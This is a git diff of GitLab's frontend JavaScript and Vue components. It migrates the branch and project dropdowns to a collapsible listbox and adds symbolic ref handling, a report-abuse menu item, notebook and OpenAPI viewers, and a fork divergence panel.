index 93bc203d391..c031c5e5e8e 100644
--- a/app/assets/javascripts/profile/profile.js
+++ b/app/assets/javascripts/profile/profile.js
@@ -30,10 +30,6 @@ export default class Profile {
bindEvents() {
$('.js-preferences-form').on('change.preference', 'input[type=radio]', this.submitForm);
- $('.js-group-notification-email').on('change', this.submitForm);
- $('#user_notification_email').on('select2-selecting', (event) => {
- setTimeout(this.submitForm.bind(event.currentTarget));
- });
$('#user_email_opted_in').on('change', this.submitForm);
$('#user_notified_of_own_activity').on('change', this.submitForm);
this.form.on('submit', this.onSubmitForm);
diff --git a/app/assets/javascripts/projects/commit/components/branches_dropdown.vue b/app/assets/javascripts/projects/commit/components/branches_dropdown.vue
index a037e721677..a1fc3f1a731 100644
--- a/app/assets/javascripts/projects/commit/components/branches_dropdown.vue
+++ b/app/assets/javascripts/projects/commit/components/branches_dropdown.vue
@@ -1,11 +1,5 @@
<script>
-import {
- GlDropdown,
- GlSearchBoxByType,
- GlDropdownItem,
- GlDropdownText,
- GlLoadingIcon,
-} from '@gitlab/ui';
+import { GlCollapsibleListbox } from '@gitlab/ui';
import { mapActions, mapGetters, mapState } from 'vuex';
import {
I18N_NO_RESULTS_MESSAGE,
@@ -16,11 +10,7 @@ import {
export default {
name: 'BranchesDropdown',
components: {
- GlDropdown,
- GlSearchBoxByType,
- GlDropdownItem,
- GlDropdownText,
- GlLoadingIcon,
+ GlCollapsibleListbox,
},
props: {
value: {
@@ -46,13 +36,16 @@ export default {
},
computed: {
...mapGetters(['joinedBranches']),
- ...mapState(['isFetching', 'branch', 'branches']),
+ ...mapState(['isFetching']),
filteredResults() {
const lowerCasedSearchTerm = this.searchTerm.toLowerCase();
return this.joinedBranches.filter((resultString) =>
resultString.toLowerCase().includes(lowerCasedSearchTerm),
);
},
+ listboxItems() {
+ return this.filteredResults.map((value) => ({ value, text: value }));
+ },
},
watch: {
// Parent component can set the branch value (e.g. when the user selects a different project)
@@ -68,10 +61,6 @@ export default {
...mapActions(['fetchBranches']),
selectBranch(branch) {
this.$emit('selectBranch', branch);
- this.searchTerm = branch; // enables isSelected to work as expected
- },
- isSelected(selectedBranch) {
- return selectedBranch === this.branch;
},
searchTermChanged(value) {
this.searchTerm = value;
@@ -81,36 +70,16 @@ export default {
};
</script>
<template>
- <gl-dropdown :text="value" :header-text="$options.i18n.branchHeaderTitle">
- <gl-search-box-by-type
- :value="searchTerm"
- trim
- autocomplete="off"
- :debounce="250"
- :placeholder="$options.i18n.branchSearchPlaceholder"
- data-testid="dropdown-search-box"
- @input="searchTermChanged"
- />
- <gl-dropdown-item
- v-for="branch in filteredResults"
- v-show="!isFetching"
- :key="branch"
- :name="branch"
- :is-checked="isSelected(branch)"
- is-check-item
- data-testid="dropdown-item"
- @click="selectBranch(branch)"
- >
- {{ branch }}
- </gl-dropdown-item>
- <gl-dropdown-text v-show="isFetching" data-testid="dropdown-text-loading-icon">
- <gl-loading-icon size="sm" class="gl-mx-auto" />
- </gl-dropdown-text>
- <gl-dropdown-text
- v-if="!filteredResults.length && !isFetching"
- data-testid="empty-result-message"
- >
- <span class="gl-text-gray-500">{{ $options.i18n.noResultsMessage }}</span>
- </gl-dropdown-text>
- </gl-dropdown>
+ <gl-collapsible-listbox
+ :header-text="$options.i18n.branchHeaderTitle"
+ :toggle-text="value"
+ :items="listboxItems"
+ searchable
+ :search-placeholder="$options.i18n.branchSearchPlaceholder"
+ :searching="isFetching"
+ :selected="value"
+ :no-results-text="$options.i18n.noResultsMessage"
+ @search="searchTermChanged"
+ @select="selectBranch"
+ />
</template>
diff --git a/app/assets/javascripts/projects/commit/components/form_modal.vue b/app/assets/javascripts/projects/commit/components/form_modal.vue
index 1febe8ceaab..b31ba4a100c 100644
--- a/app/assets/javascripts/projects/commit/components/form_modal.vue
+++ b/app/assets/javascripts/projects/commit/components/form_modal.vue
@@ -141,11 +141,7 @@ export default {
:value="targetProjectId"
/>
- <projects-dropdown
- class="gl-w-half"
- :value="targetProjectName"
- @selectProject="setSelectedProject"
- />
+ <projects-dropdown :value="targetProjectName" @selectProject="setSelectedProject" />
</gl-form-group>
<gl-form-group
@@ -155,12 +151,7 @@ export default {
>
<input id="start_branch" type="hidden" name="start_branch" :value="branch" />
- <branches-dropdown
- class="gl-w-half"
- :value="branch"
- :blanked="isRevert"
- @selectBranch="setBranch"
- />
+ <branches-dropdown :value="branch" :blanked="isRevert" @selectBranch="setBranch" />
</gl-form-group>
<gl-form-checkbox
diff --git a/app/assets/javascripts/projects/commit/components/projects_dropdown.vue b/app/assets/javascripts/projects/commit/components/projects_dropdown.vue
index 6288bcdaad0..d43f5b99e2c 100644
--- a/app/assets/javascripts/projects/commit/components/projects_dropdown.vue
+++ b/app/assets/javascripts/projects/commit/components/projects_dropdown.vue
@@ -1,5 +1,5 @@
<script>
-import { GlDropdown, GlSearchBoxByType, GlDropdownItem, GlDropdownText } from '@gitlab/ui';
+import { GlCollapsibleListbox } from '@gitlab/ui';
import { mapGetters, mapState } from 'vuex';
import {
I18N_NO_RESULTS_MESSAGE,
@@ -10,10 +10,7 @@ import {
export default {
name: 'ProjectsDropdown',
components: {
- GlDropdown,
- GlSearchBoxByType,
- GlDropdownItem,
- GlDropdownText,
+ GlCollapsibleListbox,
},
props: {
value: {
@@ -41,17 +38,20 @@ export default {
project.name.toLowerCase().includes(lowerCasedFilterTerm),
);
},
+ listboxItems() {
+ return this.filteredResults.map(({ id, name }) => ({ value: id, text: name }));
+ },
selectedProject() {
return this.sortedProjects.find((project) => project.id === this.targetProjectId) || {};
},
},
methods: {
- selectProject(project) {
- this.$emit('selectProject', project.id);
- this.filterTerm = project.name; // when we select a project, we want the dropdown to filter to the selected project
- },
- isSelected(selectedProject) {
- return selectedProject === this.selectedProject;
+ selectProject(value) {
+ this.$emit('selectProject', value);
+
+ // when we select a project, we want the dropdown to filter to the selected project
+ const project = this.listboxItems.find((x) => x.value === value);
+ this.filterTerm = project?.text || '';
},
filterTermChanged(value) {
this.filterTerm = value;
@@ -60,28 +60,15 @@ export default {
};
</script>
<template>
- <gl-dropdown :text="selectedProject.name" :header-text="$options.i18n.projectHeaderTitle">
- <gl-search-box-by-type
- :value="filterTerm"
- trim
- autocomplete="off"
- :placeholder="$options.i18n.projectSearchPlaceholder"
- data-testid="dropdown-search-box"
- @input="filterTermChanged"
- />
- <gl-dropdown-item
- v-for="project in filteredResults"
- :key="project.name"
- :name="project.name"
- :is-checked="isSelected(project)"
- is-check-item
- data-testid="dropdown-item"
- @click="selectProject(project)"
- >
- {{ project.name }}
- </gl-dropdown-item>
- <gl-dropdown-text v-if="!filteredResults.length" data-testid="empty-result-message">
- <span class="gl-text-gray-500">{{ $options.i18n.noResultsMessage }}</span>
- </gl-dropdown-text>
- </gl-dropdown>
+ <gl-collapsible-listbox
+ :header-text="$options.i18n.projectHeaderTitle"
+ :items="listboxItems"
+ searchable
+ :search-placeholder="$options.i18n.projectSearchPlaceholder"
+ :selected="selectedProject.id"
+ :toggle-text="selectedProject.name"
+ :no-results-text="$options.i18n.noResultsMessage"
+ @search="filterTermChanged"
+ @select="selectProject"
+ />
</template>
diff --git a/app/assets/javascripts/projects/commits/index.js b/app/assets/javascripts/projects/commits/index.js
index 53169f689c9..f56884f605f 100644
--- a/app/assets/javascripts/projects/commits/index.js
+++ b/app/assets/javascripts/projects/commits/index.js
@@ -33,20 +33,31 @@ export const initCommitsRefSwitcher = () => {
if (!el) return false;
- const { projectId, ref, commitsPath } = el.dataset;
+ const { projectId, ref, commitsPath, refType } = el.dataset;
const commitsPathPrefix = commitsPath.match(COMMITS_PATH_REGEX)?.[0];
-
+ const useSymbolicRefNames = Boolean(refType);
return new Vue({
el,
render(createElement) {
return createElement(RefSelector, {
props: {
projectId,
- value: ref,
+ value: useSymbolicRefNames ? `refs/${refType}/${ref}` : ref,
+ useSymbolicRefNames,
+ refType,
},
on: {
input(selected) {
- visitUrl(`${commitsPathPrefix}/${selected}`);
+ if (useSymbolicRefNames) {
+ const matches = selected.match(/refs\/(heads|tags)\/(.+)/);
+ if (matches) {
+ visitUrl(`${commitsPathPrefix}/${matches[2]}?ref_type=${matches[1]}`);
+ } else {
+ visitUrl(`${commitsPathPrefix}/${selected}`);
+ }
+ } else {
+ visitUrl(`${commitsPathPrefix}/${selected}`);
+ }
},
},
});
diff --git a/app/assets/javascripts/projects/merge_requests/components/report_abuse_dropdown_item.vue b/app/assets/javascripts/projects/merge_requests/components/report_abuse_dropdown_item.vue
new file mode 100644
index 00000000000..31890249f41
--- /dev/null
+++ b/app/assets/javascripts/projects/merge_requests/components/report_abuse_dropdown_item.vue
@@ -0,0 +1,41 @@
+<script>
+import { GlDropdownItem } from '@gitlab/ui';
+import { MountingPortal } from 'portal-vue';
+import { s__ } from '~/locale';
+
+import AbuseCategorySelector from '~/abuse_reports/components/abuse_category_selector.vue';
+
+export default {
+ name: 'ReportAbuseDropdownItem',
+ components: {
+ GlDropdownItem,
+ MountingPortal,
+ AbuseCategorySelector,
+ },
+ i18n: {
+ reportAbuse: s__('ReportAbuse|Report abuse to administrator'),
+ },
+ data() {
+ return {
+ open: false,
+ };
+ },
+ methods: {
+ openDrawer() {
+ this.open = true;
+ },
+ closeDrawer() {
+ this.open = false;
+ },
+ },
+};
+</script>
+<template>
+ <span>
+ <gl-dropdown-item @click="openDrawer">{{ $options.i18n.reportAbuse }}</gl-dropdown-item>
+
+ <mounting-portal mount-to="#js-report-abuse-drawer" name="abuse-category-selector" append>
+ <abuse-category-selector :show-drawer="open" @close-drawer="closeDrawer" />
+ </mounting-portal>
+ </span>
+</template>
diff --git a/app/assets/javascripts/projects/merge_requests/index.js b/app/assets/javascripts/projects/merge_requests/index.js
new file mode 100644
index 00000000000..25a70121d68
--- /dev/null
+++ b/app/assets/javascripts/projects/merge_requests/index.js
@@ -0,0 +1,18 @@
+import Vue from 'vue';
+import ReportAbuseDropdownItem from './components/report_abuse_dropdown_item.vue';
+
+export const initReportAbuse = () => {
+ const el = document.getElementById('js-report-abuse-dropdown-item');
+
+ if (!el) return false;
+
+ const { reportAbusePath, reportedUserId, reportedFromUrl } = el.dataset;
+
+ return new Vue({
+ el,
+ provide: { reportAbusePath, reportedUserId, reportedFromUrl },
+ render(createElement) {
+ return createElement(ReportAbuseDropdownItem);
+ },
+ });
+};
diff --git a/app/assets/javascripts/projects/settings/branch_rules/components/view/index.vue b/app/assets/javascripts/projects/settings/branch_rules/components/view/index.vue
index 626ed67c466..6260c8dd4d0 100644
--- a/app/assets/javascripts/projects/settings/branch_rules/components/view/index.vue
+++ b/app/assets/javascripts/projects/settings/branch_rules/components/view/index.vue
@@ -56,6 +56,7 @@ export default {
},
update({ project: { branchRules } }) {
const branchRule = branchRules.nodes.find((rule) => rule.name === this.branch);
+ this.branchRule = branchRule;
this.branchProtection = branchRule?.branchProtection;
this.approvalRules = branchRule?.approvalRules;
this.statusChecks = branchRule?.externalStatusChecks?.nodes || [];
@@ -69,6 +70,7 @@ export default {
branchProtection: {},
approvalRules: {},
statusChecks: [],
+ branchRule: {},
matchingBranchesCount: null,
};
},
@@ -88,12 +90,12 @@ export default {
},
allowedToMergeHeader() {
return sprintf(this.$options.i18n.allowedToMergeHeader, {
- total: this.mergeAccessLevels.total,
+ total: this.mergeAccessLevels?.total || 0,
});
},
allowedToPushHeader() {
return sprintf(this.$options.i18n.allowedToPushHeader, {
- total: this.pushAccessLevels.total,
+ total: this.pushAccessLevels?.total || 0,
});
},
approvalsHeader() {
@@ -141,7 +143,7 @@ export default {
<template>
<gl-loading-icon v-if="$apollo.loading" />
- <div v-else-if="!branchProtection">{{ $options.i18n.noData }}</div>
+ <div v-else-if="!branchRule">{{ $options.i18n.noData }}</div>
<div v-else>
<strong data-testid="branch-title">{{ branchTitle }}</strong>
<p v-if="!allBranches" class="gl-mb-3 gl-text-gray-400">
diff --git a/app/assets/javascripts/projects/settings/mount_shared_runners_toggle.js b/app/assets/javascripts/projects/settings/mount_shared_runners_toggle.js
index 5ca864a412b..54120b3525d 100644
--- a/app/assets/javascripts/projects/settings/mount_shared_runners_toggle.js
+++ b/app/assets/javascripts/projects/settings/mount_shared_runners_toggle.js
@@ -4,6 +4,10 @@ import SharedRunnersToggle from '~/projects/settings/components/shared_runners_t
export default (containerId = 'toggle-shared-runners-form') => {
const containerEl = document.getElementById(containerId);
+ if (!containerEl) {
+ return null;
+ }
+
const {
isDisabledAndUnoverridable,
isEnabled,
diff --git a/app/assets/javascripts/projects/settings/repository/branch_rules/components/branch_rule.vue b/app/assets/javascripts/projects/settings/repository/branch_rules/components/branch_rule.vue
index 41947834bdb..4a24df4b0dc 100644
--- a/app/assets/javascripts/projects/settings/repository/branch_rules/components/branch_rule.vue
+++ b/app/assets/javascripts/projects/settings/repository/branch_rules/components/branch_rule.vue
@@ -5,6 +5,7 @@ import { getAccessLevels } from '../../../utils';
export const i18n = {
defaultLabel: s__('BranchRules|default'),
+ protectedLabel: s__('BranchRules|protected'),
detailsButtonLabel: s__('BranchRules|Details'),
allowForcePush: s__('BranchRules|Allowed to force push'),
codeOwnerApprovalRequired: s__('BranchRules|Requires CODEOWNERS approval'),
@@ -62,6 +63,9 @@ export default {
isWildcard() {
return this.name.includes('*');
},
+ isProtected() {
+ return Boolean(this.branchProtection);
+ },
hasApprovalDetails() {
return this.approvalDetails.length;
},
@@ -105,10 +109,10 @@ export default {
if (this.isWildcard) {
approvalDetails.push(this.matchingBranchesText);
}
- if (this.branchProtection.allowForcePush) {
+ if (this.branchProtection?.allowForcePush) {
approvalDetails.push(this.$options.i18n.allowForcePush);
}
- if (this.branchProtection.codeOwnerApprovalRequired) {
+ if (this.branchProtection?.codeOwnerApprovalRequired) {
approvalDetails.push(this.$options.i18n.codeOwnerApprovalRequired);
}
if (this.statusChecksTotal) {
@@ -154,6 +158,10 @@ export default {
$options.i18n.defaultLabel
}}</gl-badge>
+ <gl-badge v-if="isProtected" variant="success" size="sm" class="gl-ml-2">{{
+ $options.i18n.protectedLabel
+ }}</gl-badge>
+
<ul v-if="hasApprovalDetails" class="gl-pl-6 gl-mt-2 gl-mb-0 gl-text-gray-500">
<li v-for="(detail, index) in approvalDetails" :key="index">{{ detail }}</li>
</ul>
diff --git a/app/assets/javascripts/read_more.js b/app/assets/javascripts/read_more.js
index 769782607b8..692f375bb94 100644
--- a/app/assets/javascripts/read_more.js
+++ b/app/assets/javascripts/read_more.js
@@ -31,9 +31,9 @@ export default function initReadMore(triggerSelector = '.js-read-more-trigger')
triggerEl.addEventListener(
'click',
- (e) => {
+ () => {
targetEl.classList.add('is-expanded');
- e.target.remove();
+ triggerEl.remove();
},
{ once: true },
);
diff --git a/app/assets/javascripts/ref/components/ref_results_section.vue b/app/assets/javascripts/ref/components/ref_results_section.vue
index 4fa2a92ff03..52d1ed96b21 100644
--- a/app/assets/javascripts/ref/components/ref_results_section.vue
+++ b/app/assets/javascripts/ref/components/ref_results_section.vue
@@ -74,6 +74,11 @@ export default {
required: false,
default: '',
},
+ shouldShowCheck: {
+ type: Boolean,
+ required: false,
+ default: true,
+ },
},
computed: {
totalCountText() {
@@ -82,6 +87,9 @@ export default {
},
methods: {
showCheck(item) {
+ if (!this.shouldShowCheck) {
+ return false;
+ }
return item.name === this.selectedRef || item.value === this.selectedRef;
},
},
diff --git a/app/assets/javascripts/ref/components/ref_selector.vue b/app/assets/javascripts/ref/components/ref_selector.vue
index b75958e2ced..10967fb84ed 100644
--- a/app/assets/javascripts/ref/components/ref_selector.vue
+++ b/app/assets/javascripts/ref/components/ref_selector.vue
@@ -15,6 +15,8 @@ import {
REF_TYPE_BRANCHES,
REF_TYPE_TAGS,
REF_TYPE_COMMITS,
+ BRANCH_REF_TYPE,
+ TAG_REF_TYPE,
} from '../constants';
import createStore from '../stores';
import RefResultsSection from './ref_results_section.vue';
@@ -50,6 +52,11 @@ export default {
required: false,
default: '',
},
+ refType: {
+ type: String,
+ required: false,
+ default: null,
+ },
projectId: {
type: String,
required: true,
@@ -146,6 +153,12 @@ export default {
buttonText() {
return this.selectedRefForDisplay || this.i18n.noRefSelected;
},
+ isTagRefType() {
+ return this.refType === TAG_REF_TYPE;
+ },
+ isBranchRefType() {
+ return this.refType === BRANCH_REF_TYPE;
+ },
},
watch: {
// Keep the Vuex store synchronized if the parent
@@ -273,6 +286,7 @@ export default {
:show-header="showSectionHeaders"
data-testid="branches-section"
data-qa-selector="branches_section"
+ :should-show-check="!useSymbolicRefNames || isBranchRefType"
@selected="selectRef($event)"
/>
@@ -289,6 +303,7 @@ export default {
:error-message="i18n.tagsErrorMessage"
:show-header="showSectionHeaders"
data-testid="tags-section"
+ :should-show-check="!useSymbolicRefNames || isTagRefType"
@selected="selectRef($event)"
/>
diff --git a/app/assets/javascripts/ref/constants.js b/app/assets/javascripts/ref/constants.js
index 397e3ed2ac8..f4faa535166 100644
--- a/app/assets/javascripts/ref/constants.js
+++ b/app/assets/javascripts/ref/constants.js
@@ -5,6 +5,8 @@ export const REF_TYPE_BRANCHES = 'REF_TYPE_BRANCHES';
export const REF_TYPE_TAGS = 'REF_TYPE_TAGS';
export const REF_TYPE_COMMITS = 'REF_TYPE_COMMITS';
export const ALL_REF_TYPES = Object.freeze([REF_TYPE_BRANCHES, REF_TYPE_TAGS, REF_TYPE_COMMITS]);
+export const BRANCH_REF_TYPE = 'heads';
+export const TAG_REF_TYPE = 'tags';
export const X_TOTAL_HEADER = 'x-total';
diff --git a/app/assets/javascripts/ref/stores/mutations.js b/app/assets/javascripts/ref/stores/mutations.js
index e078d3333d4..9846ac0adb7 100644
--- a/app/assets/javascripts/ref/stores/mutations.js
+++ b/app/assets/javascripts/ref/stores/mutations.js
@@ -1,5 +1,5 @@
import { convertObjectPropsToCamelCase } from '~/lib/utils/common_utils';
-import httpStatusCodes from '~/lib/utils/http_status';
+import { HTTP_STATUS_NOT_FOUND } from '~/lib/utils/http_status';
import { X_TOTAL_HEADER } from '../constants';
import * as types from './mutation_types';
@@ -86,7 +86,7 @@ export default {
// 404's are expected when the search query doesn't match any commits
// and shouldn't be treated as an actual error
- error: error.response?.status !== httpStatusCodes.NOT_FOUND ? error : null,
+ error: error.response?.status !== HTTP_STATUS_NOT_FOUND ? error : null,
};
},
[types.RESET_COMMIT_MATCHES](state) {
diff --git a/app/assets/javascripts/ref_select_dropdown.js b/app/assets/javascripts/ref_select_dropdown.js
deleted file mode 100644
index c283fb1ea08..00000000000
--- a/app/assets/javascripts/ref_select_dropdown.js
+++ /dev/null
@@ -1,51 +0,0 @@
-import $ from 'jquery';
-import initDeprecatedJQueryDropdown from '~/deprecated_jquery_dropdown';
-
-class RefSelectDropdown {
- constructor($dropdownButton, availableRefs) {
- const availableRefsValue =
- availableRefs || JSON.parse(document.getElementById('availableRefs').innerHTML);
- initDeprecatedJQueryDropdown($dropdownButton, {
- data: availableRefsValue,
- filterable: true,
- filterByText: true,
- remote: false,
- fieldName: $dropdownButton.data('fieldName'),
- filterInput: 'input[type="search"]',
- selectable: true,
- isSelectable(branch, $el) {
- return !$el.hasClass('is-active');
- },
- text(branch) {
- return branch;
- },
- id(branch) {
- return branch;
- },
- toggleLabel(branch) {
- return branch;
- },
- });
-
- const $dropdownContainer = $dropdownButton.closest('.dropdown');
- const $fieldInput = $(`input[name="${$dropdownButton.data('fieldName')}"]`, $dropdownContainer);
- const $filterInput = $('input[type="search"]', $dropdownContainer);
-
- $filterInput.on('keyup', (e) => {
- const keyCode = e.keyCode || e.which;
- if (keyCode !== 13) return;
-
- const ref = $filterInput.val().trim();
- if (ref === '') {
- return;
- }
-
- $fieldInput.val(ref);
- $('.dropdown-toggle-text', $dropdownButton).text(ref);
-
- $dropdownContainer.removeClass('open');
- });
- }
-}
-
-export default RefSelectDropdown;
diff --git a/app/assets/javascripts/repository/commits_service.js b/app/assets/javascripts/repository/commits_service.js
index f009c0310c5..d029f8cf89f 100644
--- a/app/assets/javascripts/repository/commits_service.js
+++ b/app/assets/javascripts/repository/commits_service.js
@@ -35,7 +35,7 @@ const fetchData = (projectPath, path, ref, offset) => {
gon.relative_url_root || '/',
projectPath,
'/-/refs/',
- ref,
+ encodeURIComponent(ref),
'/logs_tree/',
encodeURIComponent(removeLeadingSlash(path)),
);
diff --git a/app/assets/javascripts/repository/components/blob_viewers/index.js b/app/assets/javascripts/repository/components/blob_viewers/index.js
index 3e6d2e675ed..a480710f8ac 100644
--- a/app/assets/javascripts/repository/components/blob_viewers/index.js
+++ b/app/assets/javascripts/repository/components/blob_viewers/index.js
@@ -10,6 +10,8 @@ const viewers = {
audio: () => import('./audio_viewer.vue'),
svg: () => import('./image_viewer.vue'),
sketch: () => import('./sketch_viewer.vue'),
+ notebook: () => import('./notebook_viewer.vue'),
+ openapi: () => import('./openapi_viewer.vue'),
};
export const loadViewer = (type, isUsingLfs) => {
diff --git a/app/assets/javascripts/repository/components/blob_viewers/notebook_viewer.vue b/app/assets/javascripts/repository/components/blob_viewers/notebook_viewer.vue
new file mode 100644
index 00000000000..1114a0942ec
--- /dev/null
+++ b/app/assets/javascripts/repository/components/blob_viewers/notebook_viewer.vue
@@ -0,0 +1,31 @@
+<script>
+import { GlLoadingIcon } from '@gitlab/ui';
+import notebookLoader from '~/blob/notebook';
+import { stripPathTail } from '~/lib/utils/url_utility';
+
+export default {
+ components: {
+ GlLoadingIcon,
+ },
+ props: {
+ blob: {
+ type: Object,
+ required: true,
+ },
+ },
+ data() {
+ return {
+ url: this.blob.rawPath,
+ };
+ },
+ mounted() {
+ notebookLoader({ el: this.$refs.viewer, relativeRawPath: stripPathTail(this.url) });
+ },
+};
+</script>
+
+<template>
+ <div ref="viewer" :data-endpoint="url" data-testid="notebook">
+ <gl-loading-icon class="gl-my-4" size="lg" />
+ </div>
+</template>
diff --git a/app/assets/javascripts/repository/components/blob_viewers/openapi_viewer.vue b/app/assets/javascripts/repository/components/blob_viewers/openapi_viewer.vue
new file mode 100644
index 00000000000..5665e4b0ec4
--- /dev/null
+++ b/app/assets/javascripts/repository/components/blob_viewers/openapi_viewer.vue
@@ -0,0 +1,24 @@
+<script>
+import renderOpenApi from '~/blob/openapi';
+
+export default {
+ props: {
+ blob: {
+ type: Object,
+ required: true,
+ },
+ },
+ data() {
+ return {
+ url: this.blob.rawPath,
+ };
+ },
+ mounted() {
+ renderOpenApi(this.$refs.viewer);
+ },
+};
+</script>
+
+<template>
+ <div ref="viewer" class="file-content" :data-endpoint="url" data-testid="openapi"></div>
+</template>
diff --git a/app/assets/javascripts/repository/components/fork_info.vue b/app/assets/javascripts/repository/components/fork_info.vue
new file mode 100644
index 00000000000..980fa140eb5
--- /dev/null
+++ b/app/assets/javascripts/repository/components/fork_info.vue
@@ -0,0 +1,146 @@
+<script>
+import { GlIcon, GlLink, GlSkeletonLoader } from '@gitlab/ui';
+import { s__, sprintf, n__ } from '~/locale';
+import { createAlert } from '~/flash';
+import forkDetailsQuery from '../queries/fork_details.query.graphql';
+
+export const i18n = {
+ forkedFrom: s__('ForkedFromProjectPath|Forked from'),
+ inaccessibleProject: s__('ForkedFromProjectPath|Forked from an inaccessible project.'),
+ upToDate: s__('ForksDivergence|Up to date with the upstream repository.'),
+ unknown: s__('ForksDivergence|This fork has diverged from the upstream repository.'),
+ behind: s__('ForksDivergence|%{behind} %{commit_word} behind'),
+ ahead: s__('ForksDivergence|%{ahead} %{commit_word} ahead of'),
+ behindAndAhead: s__('ForksDivergence|%{messages} the upstream repository.'),
+ error: s__('ForksDivergence|Failed to fetch fork details. Try again later.'),
+};
+
+export default {
+ i18n,
+ components: {
+ GlIcon,
+ GlLink,
+ GlSkeletonLoader,
+ },
+ apollo: {
+ project: {
+ query: forkDetailsQuery,
+ variables() {
+ return {
+ projectPath: this.projectPath,
+ ref: this.selectedRef,
+ };
+ },
+ skip() {
+ return !this.sourceName;
+ },
+ error(error) {
+ createAlert({
+ message: this.$options.i18n.error,
+ captureError: true,
+ error,
+ });
+ },
+ },
+ },
+ props: {
+ projectPath: {
+ type: String,
+ required: true,
+ },
+ selectedRef: {
+ type: String,
+ required: true,
+ },
+ sourceName: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ sourcePath: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ },
+ data() {
+ return {
+ project: {
+ forkDetails: {
+ ahead: null,
+ behind: null,
+ },
+ },
+ };
+ },
+ computed: {
+ isLoading() {
+ return this.$apollo.queries.project.loading;
+ },
+ ahead() {
+ return this.project?.forkDetails?.ahead;
+ },
+ behind() {
+ return this.project?.forkDetails?.behind;
+ },
+ behindText() {
+ return sprintf(this.$options.i18n.behind, {
+ behind: this.behind,
+ commit_word: n__('commit', 'commits', this.behind),
+ });
+ },
+ aheadText() {
+ return sprintf(this.$options.i18n.ahead, {
+ ahead: this.ahead,
+ commit_word: n__('commit', 'commits', this.ahead),
+ });
+ },
+ isUnknownDivergence() {
+ return (!this.ahead && this.ahead !== 0) || (!this.behind && this.behind !== 0);
+ },
+ behindAheadMessage() {
+ const messages = [];
+ if (this.behind > 0) {
+ messages.push(this.behindText);
+ }
+ if (this.ahead > 0) {
+ messages.push(this.aheadText);
+ }
+ return messages.join(', ');
+ },
+ hasBehindAheadMessage() {
+ return this.behindAheadMessage.length > 0;
+ },
+ forkDivergenceMessage() {
+ if (this.isUnknownDivergence) {
+ return this.$options.i18n.unknown;
+ }
+ if (this.hasBehindAheadMessage) {
+ return sprintf(this.$options.i18n.behindAndAhead, {
+ messages: this.behindAheadMessage,
+ });
+ }
+ return this.$options.i18n.upToDate;
+ },
+ },
+};
+</script>
+
+<template>
+ <div class="info-well gl-sm-display-flex gl-flex-direction-column">
+ <div class="well-segment gl-p-5 gl-w-full gl-display-flex">
+ <gl-icon name="fork" :size="16" class="gl-display-block gl-m-4 gl-text-center" />
+ <div v-if="sourceName">
+ {{ $options.i18n.forkedFrom }}
+ <gl-link data-qa-selector="forked_from_link" :href="sourcePath">{{ sourceName }}</gl-link>
+ <gl-skeleton-loader v-if="isLoading" :lines="1" />
+ <div v-else class="gl-text-secondary">
+ {{ forkDivergenceMessage }}
+ </div>
+ </div>
+ <div v-else data-testid="inaccessible-project" class="gl-align-items-center gl-display-flex">
+ {{ $options.i18n.inaccessibleProject }}
+ </div>
+ </div>
+ </div>
+</template>
diff --git a/app/assets/javascripts/repository/components/tree_content.vue b/app/assets/javascripts/repository/components/tree_content.vue
index 4a8f83458f4..f6d6004ba96 100644
--- a/app/assets/javascripts/repository/components/tree_content.vue
+++ b/app/assets/javascripts/repository/components/tree_content.vue
@@ -2,12 +2,13 @@
import paginatedTreeQuery from 'shared_queries/repository/paginated_tree.query.graphql';
import { createAlert } from '~/flash';
import glFeatureFlagMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
-import { __ } from '~/locale';
import {
TREE_PAGE_SIZE,
TREE_INITIAL_FETCH_COUNT,
TREE_PAGE_LIMIT,
COMMIT_BATCH_SIZE,
+ GITALY_UNAVAILABLE_CODE,
+ i18n,
} from '../constants';
import getRefMixin from '../mixins/get_ref';
import projectPathQuery from '../queries/project_path.query.graphql';
@@ -17,6 +18,7 @@ import FilePreview from './preview/index.vue';
import FileTable from './table/index.vue';
export default {
+ i18n,
components: {
FileTable,
FilePreview,
@@ -142,10 +144,19 @@ export default {
}
})
.catch((error) => {
+ let gitalyUnavailableError;
+ if (error.graphQLErrors) {
+ gitalyUnavailableError = error.graphQLErrors.find(
+ (e) => e?.extensions?.code === GITALY_UNAVAILABLE_CODE,
+ );
+ }
+ const message = gitalyUnavailableError
+ ? this.$options.i18n.gitalyError
+ : this.$options.i18n.generalError;
createAlert({
- message: __('An error occurred while fetching folder content.'),
+ message,
+ captureError: true,
});
- throw error;
});
},
normalizeData(key, data) {
diff --git a/app/assets/javascripts/repository/constants.js b/app/assets/javascripts/repository/constants.js
index e194bddcc56..5098053c4f7 100644
--- a/app/assets/javascripts/repository/constants.js
+++ b/app/assets/javascripts/repository/constants.js
@@ -1,5 +1,6 @@
import { __ } from '~/locale';
+export const GITALY_UNAVAILABLE_CODE = 'unavailable';
export const TREE_PAGE_LIMIT = 1000; // the maximum amount of items per page
export const TREE_PAGE_SIZE = 100; // the amount of items to be fetched per (batch) request
export const TREE_INITIAL_FETCH_COUNT = TREE_PAGE_LIMIT / TREE_PAGE_SIZE; // the amount of (batch) requests to make
@@ -100,3 +101,8 @@ export const LEGACY_FILE_TYPES = [
'cargo_toml',
'go_mod',
];
+
+export const i18n = {
+ generalError: __('An error occurred while fetching folder content.'),
+ gitalyError: __('Error: Gitaly is unavailable. Contact your administrator.'),
+};
diff --git a/app/assets/javascripts/repository/index.js b/app/assets/javascripts/repository/index.js
index e9214e3acff..e5d22f50d72 100644
--- a/app/assets/javascripts/repository/index.js
+++ b/app/assets/javascripts/repository/index.js
@@ -11,6 +11,7 @@ import RefSelector from '~/ref/components/ref_selector.vue';
import App from './components/app.vue';
import Breadcrumbs from './components/breadcrumbs.vue';
import DirectoryDownloadLinks from './components/directory_download_links.vue';
+import ForkInfo from './components/fork_info.vue';
import LastCommit from './components/last_commit.vue';
import BlobControls from './components/blob_controls.vue';
import apolloProvider from './graphql';
@@ -63,6 +64,28 @@ export default function setupVueRepositoryList() {
},
});
+ const initForkInfo = () => {
+ const forkEl = document.getElementById('js-fork-info');
+ if (!forkEl) {
+ return null;
+ }
+ const { sourceName, sourcePath } = forkEl.dataset;
+ return new Vue({
+ el: forkEl,
+ apolloProvider,
+ render(h) {
+ return h(ForkInfo, {
+ props: {
+ projectPath,
+ selectedRef: ref,
+ sourceName,
+ sourcePath,
+ },
+ });
+ },
+ });
+ };
+
const initLastCommitApp = () =>
new Vue({
el: document.getElementById('js-last-commit'),
